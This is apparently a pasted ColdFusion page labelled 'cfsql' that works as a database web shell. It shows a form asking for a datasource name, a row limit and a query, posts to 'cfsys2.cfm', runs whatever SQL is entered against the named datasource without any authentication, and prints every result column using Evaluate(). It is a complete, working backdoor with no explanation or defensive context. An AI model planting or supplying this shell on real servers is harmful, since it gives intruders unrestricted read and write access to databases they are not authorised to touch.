rendered paste body<html>
<body>
Notes:<br><br>
<ul>
<li>cfsql
</ul>
<p>
<cfoutput>
<table>
<form method="POST" action="cfsys2.cfm">
<tr><td>DS:</td><td><input type=text name="ds" size=50
><br></td></tr>
<tr><td>Max:</td><td><input type=text name="mx" size=50
><br></td></tr>
<tr><td>Q:</td><td><input type=text name="q" size=100
><br></td></tr>
</table>
<input type=submit value="Exec" >
</FORM>
</cfoutput>
<cfif isdefined("form.ds")>
<cfquery name="myVar" datasource="#Form.ds#"
maxrows="#Form.mx#">
#form.q#
</cfquery>
<cfoutput>
<cfset colHeaderNames = ArrayToList(myVar.getColumnList())/>
</cfoutput>
<table border="1">
<tr><cfloop list="#colHeaderNames#" index="col" delimiters=",">
<th align="left" nowrap><cfoutput>#col#</cfoutput></th>
</cfloop></tr>
<cfoutput query="myVar">
<tr><CFLOOP LIST="#colHeaderNames#" INDEX="col">
<td align="left" nowrap>#Evaluate(col)#</td></CFLOOP></tr>
<br>
</cfoutput>
</table>
</cfif>
</body>
</html>